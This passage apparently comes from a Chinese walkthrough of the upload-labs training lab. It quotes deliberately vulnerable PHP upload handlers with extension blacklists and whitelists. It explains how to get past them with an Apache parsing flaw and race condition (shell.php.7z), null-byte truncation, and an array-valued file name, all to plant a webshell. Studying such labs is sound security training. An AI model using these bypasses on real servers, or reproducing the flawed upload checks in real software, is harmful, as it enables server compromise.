......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile(); //查看服务器本地是否有了临时的文件,证明有没有上次成功
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir ); //查看传过来的参数是否可写
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension(); //与白名单进行比较
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize(); //检查文件大小有没有大于规定的最大文件大小
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){ //等于1进行判断 文件上传前是否就存在(默认为0)
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move(); //先以上传的文件名保持在指定的目录下
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){ //等于1就生成新的随机文件名,此时成功改名(默认为1)
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
-
解题思路:该题有两种解法。①利用图片马和文件包含漏洞;②利用Apache的解析漏洞,上传shell.php.7z文件。这里使用第二种方法。解析漏洞讲解:
一.https://vulhub.org/#/environments/httpd/apache_parsing_vulnerability/
二.https://blog.csdn.net/qq_32434307/article/details/79480316
三.https://www.cnblogs.com/milantgh/p/5116955.html -
具体实操:
操作与Pass-17差不多就不操作了(拦截http://172.16.38.128/Pass-17/index.php上传文件的包和利用时间差访问http://172.16.38.128/upload/phpinfo.php)
注意:本人在操作时,一开始没有清空参数导致无数次攻击就好像只上传了一次,导致无法成功生成木马文件(不知道是什么原因,按道理来说不应该这样,求大佬解答!!!)。
Pass-19-黑名单-0x00截断
- 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION); //返回后缀
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
-
解决思路:该关为黑名单。可以通过0x00绕过(因为是post提交,所以要改一下二进制)。前提条件是:PHP的版本要小于等于5.3.4和在php.ini文件中magic_quotes_gpc=Off。
-
具体实操:
注解:上传之后取后缀时应该取得.php0。所以可以通过黑名单。
Pass-20-数组绕过
- 源码:
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
-
解决思路:该关为白名单,首先判断了MIME类型再判断文件的后缀名。(观看:https://blog.csdn.net/u014029795/article/details/102917199)
-
具体实操: